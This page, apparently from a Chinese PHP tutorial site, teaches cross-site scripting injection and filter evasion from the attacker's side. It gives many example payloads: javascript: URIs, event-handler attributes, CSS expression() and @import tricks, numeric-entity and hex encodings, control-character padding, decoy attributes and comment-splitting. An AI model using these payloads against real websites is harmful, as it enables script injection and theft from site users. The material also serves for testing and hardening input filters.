网站地图    收藏   

主页 > 后端 > 网站安全 >

xss插入代码和绕过过滤 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 代码插入方式 由于插入的脚本为js或者是vbs,所有一般需要由的关键字JavaScript、VbScript、expression比 如IMG SRC=JavaScript:alert(#39;XSS#39;);,但当接收鼠标或键盘响应时,这三个关键字...

 代码插入方式

  由于插入的脚本为js或者是vbs,所有一般需要由的关键字JavaScript、VbScript、expression比 如<IMG SRC="JavaScript:alert('XSS');">,但当接收鼠标或键盘响应时,这三个关键字可以省略掉,所以有以下利用方法<img onmouseover="alert('XSS')">或者<INPUT onkeyup="alert('XSS');">等等。而且由于html并 不遵循xhtml的标准,所以可以有以下插入方式:

1、标签属性可以用双引号、可以用单引号、也可以可不用引号;

2、属性值可以大写;可以小写;也可以混合写;

3、可以插入回车、包括段末结尾符和换行符的两种、即char(10)和char(13)、tab空格;

<img src="&#25;jav&#13;as&#10;cript:al&#13;ert('test');">

4、如果是style形式还可以插入反斜线“\”、注释符“/**/”;

<style>@i\m\p\ort:'javascript:alert("test");'</style>

5、可以将插入的代码转换成10进制、16进制;

例1, 

<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">

上面代码等同于:

<DIV STYLE="background-image:url(javascript:alert('XSS'))">

例2,

<IMG SRC=&#x006a;&#x0061;&#x0076;&#x0061;

&#x0073;&#x0063;&#x0072;&#x0069;

&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;

&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;

&#x0078;&#x0073;&#x0073;&#x0027;&#x0029;&#x003b;>

上面代码等同于

<IMG SRC="javascript:alert('xss');">

6、由于禁止的不确定性,你插入的进制串可以进行一系列转化并可以随意搭配组合;

7、进字符“j”就可以有以下15种编码方法,而且还是不计字符的大小写。

\6A\06A\006A\0006A\00006A            //java形式的16进制编码

&#106;&#0106;&#00106;&#000106;&#0000106;            //十 进制编码

&#x6A;&#x06A;&#x006A;&#x0006A;&#x00006A;            //十 六进制编码

8、其他的编码方式,如htmlEncode和URLEncode对于html及URL的编码。

  至于可以插入代码的html标签嘛……说句近乎疯狂的话——目前几乎所有可以插入属性的标签都 可以插入代码,比如<bstyle="xss:expression(alert('XSS'))">。

  在html标签中可以插入代码的属性一般为:src、style、dynsrc(常用于img和input中,用此属 性还可以插入视频等)、lowsrc(预载缩略图)、鼠标属性(如o n m o u s e o v e r )、键盘属性( 如onkeypress)、href属性(常用于a和link)、boby的onload属性、URL属性等。

  过滤绕过方式

  当然人家网站也不可能傻乎乎地让你输入这些代码,所以它们一般会对你输入的字符进行过滤。 所以我们编写好的代码并一定就能顺利的插入执行,很有可能某些关键的字符被过滤掉了,比 如"JavaScript"。如果只是这种单纯的过滤,那么绕过方法实在太简单,只要每当输入此字符时输 入"javajavascriptscript"之类就可以了。当然网站程序员依然不会这样傻,它们会进行种种过滤来防备 你,所以结合上面的"代码插入方式",你可能会总结出以下的绕过网站过滤系统的方法:

  1、用控制字符的ASCII码填充

  比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头&#00(null)和一个尾&#127(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符&#9、换行符&#10、回车符&#13可以插到代码任何地方。

  2、插入混淆属性 www.2cto.com

  当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:

<img src="abc>" onmouseover="[code]">            //插入混淆的src属 性

<IMG """><SCRIPT>[code]</SCRIPT>">            //插入混 淆的双引号及 “>”符号

<SCRIPT a=">" SRC="xss.js"></SCRIPT>            //插入混淆的a 属性

  3、用注释符分割

  由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:

<img style="xss:expr/*XSS*/ession([code])">            //css的注释符号 为/**/,其中的内容会被忽略

<style>@im\port'\ja\vasc\ript:alert("XSS")';</style>            //css中忽略的符号还有“\”

exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression (alert("XSS"))'>            //注释混淆后的样子

<style><!--</style><script>[code]//-- ></script>            //html的注释符为<!--注释-->

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论